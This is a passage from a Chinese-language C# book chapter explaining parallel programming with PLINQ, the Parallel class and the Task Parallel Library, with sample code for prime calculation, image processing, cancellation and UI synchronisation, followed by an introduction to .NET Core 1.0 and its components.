从更实际的角度来看,这转化为解决与科学和工程广泛领域的相关问题:天文学、气象、高峰时段交通、板块构造、土木工程、金融、地球物理学、信息服务、电子学、生物学、咨询,以及在日常生活中的任何需要一定时间且可以通过这些技术改进的过程(如下载数据、I/O 操作、昂贵的查询等等)。

并行计算中遵循的过程在前面提到的源中用四个步骤进行了说明:

  1. 将问题分解成可以同时解决的离散部分。

  2. 每一部分都被进一步分解成一系列指令。

  3. 每个部分的指令在不同的处理器上同时执行。

  4. 采用了一种整体的控制/协调机制。

注意,计算问题必须具有以下性质:

  • 可以分解成可以后来同时解决的工作的离散片段。

  • 在任何时刻都必须能够执行多个指令

  • 应该使用多个资源或计算机在更短的时间内解决,而不是使用单个资源。

结果的架构可以用以下图形方案来解释:

并行编程

多线程与并行编程之间的区别

还重要的是要记住多线程和并行编程之间的区别。当我们在一个给定的进程中创建一个新的线程(如果你需要更多参考资料,请回顾第一章中的讨论),该线程由操作系统调度,并与一些 CPU 时间相关联。线程以异步方式执行代码:也就是说,它继续执行直到完成,此时它应该与主线程同步,以获得结果(我们之前也讨论过更新主线程)。

然而,与此同时,在我们的计算机中还有其他正在执行的应用(比如服务之类的)。这些应用也分配了相应的 CPU 时间;因此,如果我们的应用使用了多个线程,它也会得到更多的 CPU 时间,从而更快地获得结果,而不会阻塞 UI 线程。

此外,如果所有这些都在一个核心上执行,那么我们就不在谈论并行编程。如果没有超过一个核心,我们就不能谈论并行编程。

提示

我们常见的一个错误是当程序在虚拟机上执行时,代码使用了并行方法,因为在虚拟机上我们默认只使用一个核心。你必须配置虚拟机以使用超过一个核心,才能利用并行性。

此外,从日常程序员的视角来看,你可以主要将受并行编程影响的任务类型分为两大类:那些 CPU 密集型的和那些 I/O 密集型的(我们还可以增加另外两种,内存密集型,即相对于一个进程,可用的内存量是有限的,以及缓存密集型,这发生在进程受可用缓存的数量和速度限制时。想想一个处理比可用缓存空间更多的数据的任务)。

在第一种情况下,我们处理的是如果 CPU 更快,代码就会运行得更快的情况,这是 CPU 大部分时间都在使用 CPU 核心的情况(复杂计算是一个典型的例子)。

第二种场景(I/O 密集型)发生在如果 I/O 子系统也能更快地运行,某些事情会运行得更快的情况下。这种情况可能发生在不同的场景中:下载某些内容、访问磁盘驱动器或网络资源等。

前两种情况是最常见的,这也是 TPL(任务并行库)发挥作用的地方。任务并行库作为解决方案出现,用于在我们的应用程序中实现与第一种和第二种场景(CPU 密集型和 I/O 密集型)相关的并行编码。

从编程的角度来看,我们可以找到三种形式:并行 LINQ、Parallel 类和 Task 类。前两者主要用于 CPU 密集型过程,而 Task 类更适合(通常来说)I/O 密集型场景。

我们已经看到了与 Task 类一起工作的基础知识,它还允许你异步执行代码,在这里,我们将看到它如何执行取消(使用令牌)、继续、上下文同步等。

因此,让我们回顾这三种风味,看看一些典型的编码问题解决方案,在这些解决方案中,这些库有明显的改进。

并行 LINQ

如其名所示,并行 LINQ 是.NET 先前版本中提供的先前 LINQ 功能的扩展。

在第一个解决方案(并行 LINQ)中,Microsoft 专家 Stephen Toub 在并行编程模式(可在www.microsoft.com/en-us/download/details.aspx?id=19222找到)中解释了这种方法的理由:

在许多应用和算法中,大部分工作是通过循环控制结构完成的。毕竟,循环通常使应用程序能够反复执行一系列指令,将逻辑应用于离散实体,无论这些实体是整数值,例如在 for 循环的情况下,还是数据集,例如在 foreach 循环的情况下。

许多语言都有内置的控制结构来处理这类循环,Microsoft Visual C#®和 Microsoft Visual Basic®就是其中之一,前者使用 for 和 foreach 关键字,后者使用 For 和 For Each 关键字。对于可能被认为是令人愉快的并行问题,循环的每个迭代要处理的实体可以并发执行:因此,我们需要一个机制来启用这种并行处理。

其中一种机制是AsParallel()方法,适用于暗示 LINQ 和泛型集合相关资源的表达式。让我们通过一个示例详细探讨这一点(在这种情况下,示例将链接到 CPU 密集型代码)。

我们的演示将有一个简单的用户界面,我们将计算 1 到 3,000,000 之间的素数。

我将首先创建一个素数计算算法,作为int类型的扩展方法,以下是其代码:

public static class BaseTypeExtensions
{
  public static bool IsPrime(this int n)
  {
    if (n <= 1) return false;
    if ((n & 1) == 0)
    {
      if (n == 2) return true;
      else return false;
    }
    for (int i = 3; (i * i) <= n; i += 2)
    {
      if ((n % i) == 0) return false;
    }
    return n != 1;
  }
}

现在,我们将使用三个按钮来比较不同的行为:无并行处理、有并行处理,以及使用有序结果的并行处理。

之前,我们定义了一些基本值:

Stopwatch watch = new Stopwatch();
IEnumerable <int> numbers = Enumerable.Range(1, 3000000);
string strLabel = "Time Elapsed: ";

这里的两个重要元素是Stopwatch,用于测量经过的时间,以及初始的数字集合,我们将使用Enumerable类的静态Range方法生成这些数字,从 1 到 3,000,000。

第一个按钮中的代码相当简单:

private void btnGeneratePrimes_Click(object sender, EventArgs e)
{
  watch.Restart();
  var query = numbers.Where(n => n.IsPrime());
  var primes = query.ToList();
  watch.Stop();
  label1.Text = strLabel + watch.ElapsedMilliseconds.ToString("0,000")+ " ms.";
  listBox1.DataSource = primes.ToList();
}

但是,在第二个按钮中,我们包括了之前提到的AsParallel结构。它与上一个类似,但我们指出,在获取任何结果之前,我们希望numbers集合以并行方式处理。

当你执行示例(经过的时间值将根据你使用的机器略有不同)时,这种方法比前一种方法快得多。

这意味着代码已经使用了机器上可用的所有核心来执行任务(紧挨着AsParallelwhere方法)。

你有一种方法可以立即证明这一点:只需打开任务管理器并选择性能选项卡。在那里(如果你像我一样使用 Windows 10),你必须打开资源监视器来查看你机器上所有 CPU 的活动。

小贴士

为了确保你只关注与此演示相关的活动,请注意你可以选择输出进程来查看进程列表(在这种情况下,它将是DEMOLINQ1.vshost.exe)。

在运行时,差异变得明显:在第一个事件处理器中,似乎只有一个 CPU 在工作。如果你使用并行方法做这件事,你会看到有活动(如果不是以某种其他方式配置,可能是在所有 CPU 上)。

第三种选项也是如此,(关于它的更多内容很快就会介绍),它使用了AsOrdered()子句。在我的机器(八个核心)上,结果窗口显示以下输出:

并行 LINQ

因此,我们实际上是在使用并行性,只是在我们的代码中添加了一个非常简单的功能!结果之间的差异变得明显(作为一个平均值,它大约是同步选项的三分之一)。

但我们仍然有问题。如果你查看第二个 Listbox 控制器的输出,在某个时候,你会看到列表没有排序,就像第一种情况一样。这是正常的,因为我们正在使用多个核心来运行结果,并且代码按照从八个核心接收到的顺序添加这些结果(在我的情况下)。

此顺序将根据核心数量、速度和其他难以预见因素而变化。因此,如果我们确实需要按顺序排列的结果,就像第一种情况一样,我们可以使用紧挨着AsParallel()指示的AsOrdered()方法。

以这种方式,生成的代码与第二种方法几乎相同,但现在结果是排序的,只是有一个(通常可以忽略不计)的延迟。

在下一张屏幕截图中,我正在将数字移动到18973这个质数,只是为了展示 Listboxes 填充的不同方式:

并行 LINQ

如果没有其他进程消耗 CPU,这些方法的连续执行将提供略微不同的结果,但变化将是微小的(实际上,有时你会看到AsOrdered()方法似乎比非排序的运行得更快,但这只是因为 CPU 活动)。

通常,如果你需要真正评估执行时间,你应该多次进行基准测试并改变一些初始条件。

处理其他问题

处理其他问题似乎是一种使用我们机器上所有可用资源的极好方式,但其他考虑可能使我们修改此代码。例如,如果我们的应用程序应在压力条件下正确运行,或者我们应该尊重其他应用程序的可能执行,并且要并行化的进程比这个重得多,那么使用称为并行化程度的特性可能很明智。

使用此特性,我们可以通过代码设置应用程序中要使用的核心数,其余的留给其他机器的应用程序和服务。

我们可以使用此代码在另一个按钮中包含此功能,这次将只使用有限数量的核心。但我们是如何确定核心数的呢?一个合理的解决方案是只使用系统可用的核心数的一半,另一半保持空闲。

幸运的是,有一种简单的方法可以找到这个数字(无需使用平台/调用、注册表值或 WMI):Environment类具有静态属性,允许直接访问某些有用的值:在这种情况下,ProcessorCount属性返回核心数。因此,我们可以编写以下代码(这里只显示修改后的行):

var query = numbers.AsParallel().AsOrdered()
.WithDegreeOfParallelism(Environment.ProcessorCount/2)
.Where(n => n.IsPrime());

在这个例子中,在我的机器上,我将只使用四个核心,这应该会显示出性能的提升,尽管不如使用所有核心时那么明显(我已经将数字集合改为 5,000.000,以便更好地欣赏这些值。请参考截图):

处理其他问题

取消执行

在我们的代码中,我们还应该考虑另一种情况,即用户出于任何原因希望在某个时刻取消进程。

如本节前面所述,此问题的解决方案是取消功能。它使用token执行,你在其定义中将它传递给进程,并且可以稍后用于强制取消(以及随后进程的终止)。

为了代码简洁,我们将使用一个技巧:再次扩展int类型,使其接受此令牌功能。我们可以编写简单的扩展代码,如下所示:

public static bool IsPrime(this int n, Cancellation TokenSource cs)
{
  if (n == 1000) cs.Cancel();
  return IsPrime(n);
}

正如你所见,我们现在有一个IsPrime的重载,它仅在n1000不同时调用基本实现。当我们达到第 1000 个整数时,CancellationTokenSource实例的Cancel方法被调用。

这种行为取决于此类可能的先前配置值。如图所示,几个值允许我们操作并获取相关信息,例如是否可以真正取消,是否已请求取消,甚至是一个低级值WaitHandle,当令牌被取消时发出信号。

这个 WaitHandle 属性是另一个对象,它提供了对这个线程的本地操作系统句柄的访问权限,并具有属性和方法来释放当前 WaitHandle 属性(Close 方法)所持有的所有资源,或者阻塞当前线程,直到 WaitHandle 接收到信号:

取消执行

显然,在这种情况下,过程要复杂一些,因为我们需要捕获令牌抛出的异常并相应地处理:

private void btnPrimesWithCancel_Click(object sender, EventArgs e)
{
  List<int> primes;
  using (var cs = newCancellationTokenSource())
  {
    watch.Restart();
    var query = numbers.AsParallel().AsOrdered()
    .WithCancellation(cs.Token)
    .WithDegreeOfParallelism(Environment.ProcessorCount / 2)
    .Where(n => n.IsPrime(cs));
    try
    {
      primes = query.ToList();
    }
    catch (OperationCanceledException oc)
    {
      string msg1 = "Query cancelled.";
      string msg2 = "Cancel Requested: " +
      oc.CancellationToken.IsCancellationRequested.ToString();
      listBox5.Items.Add(msg1);
      listBox5.Items.Add(msg2);
    }
  }
  watch.Stop();
  lblCancel.Text = strLabel + watch.ElapsedMilliseconds.ToString("0,000") + " ms.";
}

注意查询中使用了 WithCancellation(cs.Token),以及整个过程都嵌入在 using 结构中,以确保在过程结束后释放资源。

此外,而不是使用另一种机制,我们在相应的 Listbox 控件中添加了一个取消消息,指示令牌是否真的被取消。您可以在下一张截图(注意,所花费的时间明显少于其他情况)中看到这一点:

取消执行

然而,在某些情况下,使用这种形式的并行可能不推荐或有限制,例如使用 TakeSkipWhile 等操作符,以及 SelectElementAt 的索引版本。在其他情况下,产生的开销可能很大,例如使用 JoinUnionGroupBy

并行类

并行类针对迭代进行了优化,其行为甚至比 PLINQ 更好——尤其是在循环中——尽管这种差异并不明显。然而,在某些情况下,对循环的微调可以显著提高用户体验。

该类有 forforeach 方法的变体(也 invoke,但在实践中很少看到),当我们认为使用非并行版本可能会明显降低性能时,可以在循环中使用。

如果我们查看 Parallel.For 版本的定义,我们会看到它接收一对数字(intlong)来定义循环的范围,以及一个 Action,它关联到要执行的功能。

让我们用一个与之前类似但不完全相同的例子来测试这个方法。我们将使用相同的 IsPrime 算法,但这次,我们将在 for 循环中逐个检查结果。因此,我们从检查前 1000 个数字的简单循环开始,并将结果加载到 RichTextbox 中。

我们的非并行版本的初始代码如下:

private void btnStandardFor_Click(object sender, EventArgs e)
{
  rtbOutput.ResetText();
  watch.Start();
  for (int i = 1; i < 1000; i++)
  {
    if (i.IsPrime())
      rtbOutput.Text += string.Format("{0} is prime", i) + cr;
    else
      rtbOutput.Text += string.Format("{0} is NOT prime", i) + cr;
  }
  watch.Stop();
  label1.Text = "Elapsed Time: " + watch.ElapsedMilliseconds.ToString("0,000") + " ms."; ;
}

这里的问题是知道如何将之前的代码转换为 Parallel.For。现在,循环要执行的操作由一个 lambda 表达式指示,该表达式负责检查每个值。

然而,我们发现了一个额外的问题。由于这是并行操作,并且将创建新的线程,我们无法直接更新用户界面,否则会得到 InvalidOperationException

对于这个问题,有几种解决方案,但最常用的解决方案之一是在 SynchronizationContext 对象中。正如 Joydip Kanjilal 在 学习同步上下文、async 和 await(参考 www.infoworld.com/article/2960463/application-development/my-two-cents-on-synchronizationcontext-async-and-await.html)中所说的,SynchronizationContext 对象代表了一个抽象,它表示应用程序代码执行的位置,并允许您将任务排队到另一个上下文(每个线程都可以有自己的 SynchronizatonContext 对象)。SynchronizationContext 对象被添加到 System.Threading 命名空间中,以促进线程之间的通信。

我们 Parallel.For 的结果代码将看起来像这样:

// Previously, at class definition:
Stopwatch watch = newStopwatch();
string cr = Environment.NewLine;
SynchronizationContext context;

public Form1()
{
  InitializeComponent();
  //context = new SynchronizationContext();
  context = SynchronizationContext.Current;
}

private void btnParallelFor_Click(object sender, EventArgs e)
{
  rtbOutput.ResetText();
  watch.Restart();
  Parallel.For(1, 1000, (i) =>
  {
    if (i.IsPrime())
      context.Post(newSendOrPostCallback((x) =>
    {
      UpdateUI(string.Format("{0} is prime", i));
    }), null);
    else
      context.Post(newSendOrPostCallback((x) =>
    {
      UpdateUI(string.Format("{0} is NOT prime", i));
    }), null);
  });
  watch.Stop();
  label2.Text = "Elapsed Time: " + watch.ElapsedMilliseconds.ToString("0,000") + " ms.";
}
private void UpdateUI(string data)
{
  this.Invoke(newAction(() =>
  {
    rtbOutput.Text += data + cr;
  }));
}

采用这种方法,我们从正在执行线程(无论哪个)发送一个同步命令到主线程(UI 线程)。为此,我们在定义时首先缓存当前线程的 SynchronizationContext 对象,然后稍后使用它来在上下文中调用 Post 方法,这将调用一个新动作来更新用户界面。

注意,这个解决方案是这样编写的,以表明 Parallel.For 也可以用于(一次一个)操作用户界面的过程中。

我们可以通过下一个截图所示的相同素数的计算来欣赏两种方法之间的差异:

Parallel 类

Parallel.ForEach 版本

同样想法的另一个变体是 Parallel.ForEach。实际上它与它几乎相同,只是我们在定义中没有起始或结束数字。使用信息序列和唯一变量来迭代序列的每个元素会更好。

然而,我将改变这个演示中处理过程的类型,以便您可以进行比较并得出自己的结论。我将遍历一系列小的 .png 文件(图标 128 x 128),并为这些图标创建一个新的版本(透明),将修改后的新图标保存在另一个目录中。

在这种情况下,我们使用的是 I/O 密集型过程。慢速方法将链接到磁盘驱动器,而不是 CPU。您可以尝试的其他可能的 I/O 密集型过程包括从网站或任何社交网络下载文件或博客文章。

由于这里最重要的目标是节省时间,我们将依次处理文件并比较所花费的时间,将在窗口中显示输出。我将使用一个按钮来启动以下代码所示的过程(请注意,Directory.GetFiles 应指向一个包含一些 .png 文件的目录):

Stopwatch watch = new Stopwatch();
string[] files = Directory.GetFiles(@"<Your Images Directory Goes Here>", "*.png");
string modDir = @"<Images Directory>/Modified";

public void ProcessImages()
{
  Directory.CreateDirectory(modDir);
  watch.Start();

  foreach (var file in files)
  {
    string filename = Path.GetFileName(file);
    var bitmap = ne0wBitmap(file);
    bitmap.MakeTransparent(Color.White);
    bitmap.Save(Path.Combine(modDir, filename));
  }
  watch.Stop();

  lblForEachStandard.Text += watch.ElapsedMilliseconds.ToString() + " ms.";
  watch.Restart();

Parallel.ForEach(files, (file) =>
  {
    string filename = Path.GetFileName(file);
    var bitmap = newBitmap(file);
    bitmap.MakeTransparent(Color.White);
    bitmap.Save(Path.Combine(modDir, "T_" + filename));
  });
  watch.Stop();
  lblParallel.Text += watch.ElapsedMilliseconds.ToString() + " ms.";
  MessageBox.Show("Finished");
}

如您所见,有两个循环。第二个循环也使用一个 file 变量来遍历 Directory.GetFiles() 调用检索到的文件集合,但 Parallel.ForEach 循环的第二个参数是一个 lambda 表达式,包含与第一个 foreach 方法完全相同的代码(好吧,有一点细微的区别,那就是我在保存之前将 T_ 前缀附加到名称上)。

然而,即使在只有少量文件可用的情况下(大约一百个),处理时间的差异也是有意义的。

您可以在下一张截图中看到差异:

Parallel.ForEach 版本

因此,在这两个示例中,无论是 CPU 密集型还是 IO 密集型,这种提升都是重要的,而且除了其他考虑因素之外(总是有一些),我们在这里有一个很好的解决方案,提供了这两种并行选项(记住,您应该根据要执行的演示更改程序入口点,在 Program.cs 文件中)。

任务并行

虽然所有这些都很重要,但有些情况下这种解决方案缺乏足够的灵活性,这就是为什么我们将 任务并行库 包含在可用的软件工具集中。

我们已经在 第三章,C# 和 .NET 的高级概念 和 第十二章,性能 中看到了 Task 对象的基础,但现在我们需要看看一些更高级的方面,这些方面使这个对象成为 .NET Framework 中并行编程中最有趣的对象之一。

线程间的通信

如您所知,任务完成后获得的结果可以是任何类型(包括泛型)。

当您创建一个新的 Task<T> 对象时,您继承了一些方法和属性,以方便数据操作和检索。例如,您有 IdIsCancelledIsCompletedIsFaultedStatus 等属性来确定任务的状态,以及一个 Result 属性,它包含任务的返回值。

关于可用的方法,您有一个 Wait 方法来强制 Task 对象等待直到完成,还有一个非常有用的方法叫做 ContinueWith。使用这个方法,您可以在知道可以从 Result 属性获取结果的情况下,编写任务完成时要执行的操作。

因此,让我们想象一个类似于我们在早期演示中关于在目录中读取和操作文件的情况——只是这次,我们只是读取名称并使用一个 Task 对象。

在所有这些功能的基础上,我们可能会认为以下代码应该可以正确工作:

private void btnRead_Click(object sender, EventArgs e)
{
var getFiles = newTask<List<string>>(() =>  getListOfIconsAsync());
  getFiles.Start();
  getFiles.ContinueWith((f) => UpdateUI(getFiles.Result));
}
private List<string> getListOfIconsAsync()
{
  string[] files = Directory.GetFiles(filesPath, "*.png");
  return files.ToList();
}
private void UpdateUI(List<string> filenames)
{
  listBox1.Items.Clear();
  listBox1.DataSource = filenames;
}

如您所见,我们创建了一个新的 Task<List<string>> 对象实例;因此,我们可以利用其功能并调用 ContinueWith 来更新用户界面并显示结果。

然而,我们在UpdateUI方法中得到了InvalidOperationException,因为它仍然是任务(另一个线程)试图访问不同的线程。尽管你可以从下面的截图看到结果已经被正确获得,但这并不重要:

线程间通信

幸运的是,我们有一个与TaskScheduler对象相关的解决方案,它是这个工具集的一部分。我们只需要将另一个参数传递给ContinueWith方法,指明FromCurrentSynchronizationContext属性。

因此,我们将之前的调用修改如下:

getFiles.ContinueWith((f) => UpdateUI(getFiles.Result),
TaskScheduler.FromCurrentSynchronizationContext());

现在一切工作得非常完美,正如你在执行的最后一张截图中所看到的:

线程间通信

就这样!这是一种非常简单的从任务更新用户界面的形式,而不需要复杂的构造或其他特定对象。

还要注意,这个方法有高达 40 个重载,以便我们以许多不同的方式配置行为:

线程间通信

Task对象相关的其他有趣的可能性与它的一些静态方法有关,特别是WaitAllWaitAnyWhenAllWhenAny。让我们看看它们的作用:

  • WaitAll:等待所有提供的Task对象完成执行(它接收一个Task对象的集合)

  • WaitAny:它与WaitAll具有相同的结构,但它等待第一个任务完成

  • WhenAll:创建一个新的任务,只有当所有提供的任务都完成后才会执行

  • WhenAny:与之前相同的结构,但它等待第一个任务完成

并且还有一个有趣的特性:ContinueWhenAll,它保证只有在所有作为参数传递的任务都完成后才会执行某些操作。

让我们通过一个例子来看看它是如何工作的。我们有三种图像处理算法:它们都接收一个Bitmap对象并返回另一个转换后的位图。你可以在演示代码中阅读这些算法(它们被命名为BitmapInvertColorsMakeGrayscaleCorrectGamma)。

当按钮被点击时,会创建四个任务:每个任务都调用负责转换位图并在不同的pictureBox控件中显示结果的函数。我们使用之前的ContinueWith方法来更新用户界面上的标签文本,以便我们知道它们的执行顺序。

代码如下:

private void btnProcessImages_Click(object sender, EventArgs e)
{
  lblMessage.Text = "Tasks finished:";
  var t1 = Task.Factory.StartNew(() => pictureBox1.Image =
    Properties.Resources.Hockney_2FIGURES);
  t1.ContinueWith((t) => lblMessage.Text += " t1-",
    TaskScheduler.FromCurrentSynchronizationContext());
  var t2 = Task.Factory.StartNew(() => pictureBox2.Image =
    BitmapInvertColors(Properties.Resources.Hockney_2FIGURES));
  t2.ContinueWith((t) => lblMessage.Text += " t2-",
    TaskScheduler.FromCurrentSynchronizationContext());
  var t3 = Task.Factory.StartNew(() => pictureBox3.Image =
    MakeGrayscale(Properties.Resources.Hockney_2FIGURES));
  t3.ContinueWith((t) => lblMessage.Text += " t3-",
    TaskScheduler.FromCurrentSynchronizationContext());
  var t4 = Task.Factory.StartNew(() => pictureBox4.Image =
    CorrectGamma(Properties.Resources.Hockney_2FIGURES, 2.5m));
  //var t6 = Task.Factory.StartNew(() => Loop());
  t4.ContinueWith((t) => lblMessage.Text += " t4-",
    TaskScheduler.FromCurrentSynchronizationContext());
  var t5 = Task.Factory.ContinueWhenAll(new[] { t1, t2, t3, t4 }, (t) =>
  {
    Thread.Sleep(50);
  });
  t5.ContinueWith((t) => lblMessage.Text += " –All finished",
    TaskScheduler.FromCurrentSynchronizationContext());
}

如果我们想让All finished标签更新最后一个任务,我们需要确保第五个任务作为序列中的最后一个执行(当然,如果我们不使用任务,它将作为第一个更新)。

如你在下一张截图中所见,第二、第三和第四个任务的顺序将是随机的,但第一个(因为它不做任何重工作;它只加载原始图像)将始终出现在序列的开头,而第五个将出现在最后:

线程间的通信

还有其他一些有趣的功能,与我们在之前的并行演示中看到的取消功能类似。

要取消任务,我们将使用类似的程序——但在这个情况下,它更简单。我将使用控制台应用程序通过几个简单的方法来展示它:

static void Main(string[] args)
{
  Console.BackgroundColor = ConsoleColor.Gray;
  Console.WindowWidth = 39;
  Console.WriteLine("Operation started...");
  var cs = newCancellationTokenSource();
  var t = Task.Factory.StartNew(
    () => DoALongWork(cs)
  );
  Thread.Sleep(500);
  cs.Cancel();
  Console.Read();
}
private static void DoALongWork(CancellationTokenSource cs)
{
  try
  {
    for (int i = 0; i < 100; i++)
    {
      Thread.Sleep(10);
      cs.Token.ThrowIfCancellationRequested();
    }
  }
  catch (OperationCanceledException ex)
  {
    Console.WriteLine("Operation Cancelled. \n Cancellation requested: " + ex.CancellationToken.IsCancellationRequested);
  }
}

正如你所见,我们在一个 100 次迭代的循环中,对DoALongWork方法生成一个包含十分之一秒延迟的 Task。然而,在每次迭代中,我们都会检查ThrowIfCancellationRequested方法的值,这个方法属于在任务创建时之前生成的CancellationTokenSource方法,并将其传递给慢速方法。

在 500 毫秒后,在主线程中调用cs.Cancel(),线程执行停止,并在catch侧启动和恢复Exception,以便在控制台以消息的形式展示输出,显示是否真的请求了取消。

下一个截图显示了执行此代码时应看到的内容:

线程间的通信

到目前为止,这只是一个关于 Task 并行库及其一些最有趣可能性的回顾。

我们将讨论这本书的结尾部分,现在关于.NET 的最新创新:所谓的 NET Core 1.0,它旨在在所有平台上执行,包括 Linux 和 MacOS。

.NET Core 1.0

.NET Core 是 .NET Framework 的一个版本(最初版本于 2016 年夏季发布),标志着微软开发技术生态系统中的一次重大突破,其最大的承诺是能够跨平台执行:Windows、MacOS 和 Linux。

此外,.NET Core 是模块化的、开源的,并且为云做好了准备。它可以与应用程序本身一起部署,最小化安装问题。

虽然最初这个数字是连续的,但微软决定重新开始编号,强化了这样一个观点:这与经典版本相比是一个全新的概念,是一个更好的避免歧义的方法。对于那些已经了解初始版本的人来说,让我们记住以下等价关系(参考截图):

.NET Core 1.0

截图显示了新名称之间的等价性以及一些技术如何超越平台(正如在 ASP.NET Core 或 MVC Core 中发生的那样),甚至可以在经典平台(.NET Framework 4.6)上执行。

.NET Core 基于 CoreCLR,这是一个轻量级的运行时环境,提供基本服务。这包括自动内存管理、垃圾回收以及基本类型库。

与现在许多其他项目一样,.NET Core 是 .NET 基金会的一部分。

它还包括 CoreFx,这是一个模块化程序集的集合。根据你的需求,可以将这些程序集添加到你的项目中(记住,在.NET 4.x 中,我们总是必须提供整个 BCL)。现在,你只需选择你需要的程序集即可。

支持的环境列表

根据C# Corner 的.NET Core - Fork In The Road,以下表格解释了不同平台上的可用性,尽管列表仍在不断增长:

支持的环境列表

.NET Core 的另一个目标是通过对一个独特的project.json文件进行项目统一,其中所有配置功能将独立于正在构建的项目类型出现(不再需要app.configweb.config等)。然而,在 Visual Studio 2017 中,project.json文件中声明的依赖项已经被移动到.sln文件中进行统一。

.NET Core 应该建立在四个部分之上,包括 Core FX、Core CLR、Core RT 和 Core CLI。让我们逐一快速查看这些部分。

Core FX

Core FX 包含基础库的实现,包括经典命名空间:System.CollectionsSystem.IOSystem.Xml等。然而,它不包括mscorlib中的基类型,这些类型位于不同的仓库CoreCLR中。

您可以在 GitHub 上访问这些仓库:github.com/dotnet/corefx

Core CLR

Core CLR 实际上是.NET 虚拟机(运行时)。它包括 RyuJIT(或 CLR JIT),这是一个新一代 64 位编译器,.NET 垃圾回收器,之前提到的mscorlib.dll以及一系列库。

仓库可在github.com/dotnet/coreclr找到,你也会在那里找到所有相关文档。

它与你的应用程序一起部署(因此不再需要.NET Framework x.x 版本消息),并允许并行执行;因此,它保证了其他现有应用程序的完整性。

Core RT

Core RT 是 Core CLR 的替代品,针对AoT提前编译)场景进行了优化。它可在github.com/dotnet/corert的仓库中找到。

显然,你可能想知道这个术语(AoT)以及与我们一直使用的 JIT 编译相比的区别。

让我们记住,JIT 编译器负责将 MSIL 代码转换为原生代码。这是在运行时完成的;因此,每次第一次调用方法时,它都会被编译并执行。

以这种方式,应用程序可以在安装了运行时的不同 CPU 和 OS 上执行,但缺点是这是一个耗时且会影响应用程序性能的过程。

另一方面,AoT 编译器也将 MSIL 编译成原生代码,但维基百科说,它们这样做是为了减少运行时开销,将结果二进制文件编译成原生(系统依赖)机器代码,目的是原生执行。

维基百科还补充说:

“在大多数情况下,对于完全 AOT 编译的程序和库,可以删除相当一部分运行时环境,从而节省磁盘空间、内存、电池和启动时间(没有 JIT 预热阶段)等。因此,它对于嵌入式或移动设备非常有用。”

如 RobJb 在 StackOverflow 中指出:

“AOT 编译器可以花费尽可能多的时间进行优化,而 JIT 编译受限于时间要求(以保持响应性)和客户端机器的资源。因此,AOT 编译器可以执行在 JIT 中过于昂贵的复杂优化。”

总结来说,CoreRT 的重点是代码优化和转换为特定的本地平台。生成的可执行文件将更大,但它包含了应用程序、所有依赖项以及 CoreRT。

使用 CoreRT 的应用程序执行速度更快,并且可以使用本地编译器的适当优化,从而提高性能和代码质量。

Core CLI

Core CLI 是一个命令行界面,独立于其他库,提供了一种简单的方法来安装一个基本框架,我们可以在几步之内测试任何平台上的 .NET Core 代码。

安装很简单:Windows 中的 MSI 类型文件、MacOS 中的 PKG 类型文件或 Linux 中的 apt-get;或者甚至可以使用 curl 脚本。

此外,已经创建了一个基于 .NET Core 1.0 的 ASP.NET 重构,我们稍后会看到。项目文件将是一个 .xproj 文件,不同版本或语言之间没有差异。

安装完成后,你可以发出如 dotnetbuild 这样的命令,例如,并生成结果并查看执行情况。需要注意的是,Core CLI 本身是使用 Core RT 制作的;因此,它也使用了优化的本地技术。

.NET Core 安装

自从第一个候选版本发布以来,.NET Core 的安装已经发生了变化,现在之前的 GitHub 位置将引导我们到 www.microsoft.com/net/core 网站,在那里我们可以找到在四个不同环境中下载 .NET Core 的说明:Windows、Linux、MacOS 和 Docker。

注意

此外,请注意,要从 Visual Studio 2015 中使用 .NET Core,你需要安装升级 3。它将出现在 更新 部分的 扩展和更新 选项下。

除了这个安装之外,如果你额外安装了 NET Core 1.0.0 – VS 2015 Tooling,你可以在同一页面上使用 .NET Core 在 Visual Studio 2015 及更高版本中。这需要几分钟时间,并会要求确认(参考截图):

.NET Core 安装

注意,在撰写本文时,VS 2015 Tooling 以预览版的形式提供,你阅读本文时可能已经是最终版本。此外,你可以从前面提到的同一页面上安装 Core CLI,或者直接访问 github.com/dotnet/cli 页面。

安装完成后,如果我们打开 Visual Studio 并选择 新建项目,我们会看到一个名为 NET Core 的新部分,提供三种应用程序类型:类库、控制台应用程序和 ASP.NET Core 网络应用程序:

.NET Core 安装

如你所想,在第一种情况下,我们可以创建一个 DLL 供其他项目使用,而最后两个选项(对于这个 .NET Core 的初始版本)是有意义的。

如果我们查看使用 控制台应用程序 选项创建的文件,解决方案资源管理器将显示一个熟悉的结构,尽管有一些不同。

首先,我们看到存在两个主要目录:一个用于解决方案(包括一个 global.json 文件)和另一个名为 src 的目录,其中包含我们应用程序的其余资产。

global.json 文件包含在编译时解决项目依赖项时应搜索的文件夹。构建系统将只搜索顶级子文件夹。

默认情况下,以下内容被包含:

{
  "projects": [ "src", "test" ],
  "sdk": {
    "version": "1.0.0-preview2-003121"
  }
}

这定义了我们解决方案中的两个项目:标准项目和另一个用于测试的项目。除此之外,sdk 键指示要使用的版本(1.0.0-preview-003121),我们可以随意添加或更改它。

注意

Visual Studio 2015 工具的一个非常有趣的方面是处理配置文件 .json 时,如果我们更改任何值,相应的引用将会自动在线搜索并下载到我们的项目中。

有其他选项可用,例如要使用的架构(x64 / x86)或目标运行时,如下一张截图所示:

.NET Core 安装

src 目录中,可以找到典型的控制台结构,只是所有包含在 引用 部分的引用都指向 Microsoft.NETCore.App (1.0.0),并包含一个长列表的组件,所有这些组件都按照依赖关系的层次结构排列。

在这些项目中,主 Program.cs 文件的特点只是通常的(没有更改),对于 AssemblyInfo.cs 也是如此(尽管在其他平台上一些值会被忽略)。

然而,没有 app.config 文件。这个文件已经被另一个 .json 文件 project.json 替换,从现在起它将负责定义应用程序的配置(记住,在 Visual Studio 2017 中,.sln 文件用于声明依赖项)。

而且,就像 global.json 文件一样,编辑器识别分配给键的值,并在这里也提供智能感知,提供有关可配置的可能值的有趣提示(下一张截图包括初始引用列表和 project.json 文件中的智能感知操作):

.NET Core 安装

现在,我将使用一个简单的代码片段来探索一些常见命名空间在.NET Core 中的实现方式。在这种情况下,我们有三个与应用程序位于同一目录中的文本文件(当然,可以是任何目录),我们将搜索它们,读取它们的内容,并在控制台显示。

因此,我们在program.cs文件中有一些非常简单的代码,它作为应用程序的入口点:

staticstring pathImages = @"<Your Path to files>;
staticvoid Main(string[] args)
{
  Console.WriteLine(" Largest number of Rows: " + Console.LargestWindowHeight);
  Console.WriteLine(" Largest number of Columns: " + Console.LargestWindowWidth);
  Console.WriteLine(" ------------------------------\n");
  ReadFiles(pathImages);
  Console.ReadLine();
}

privatestaticvoid ReadFiles(string path)
{
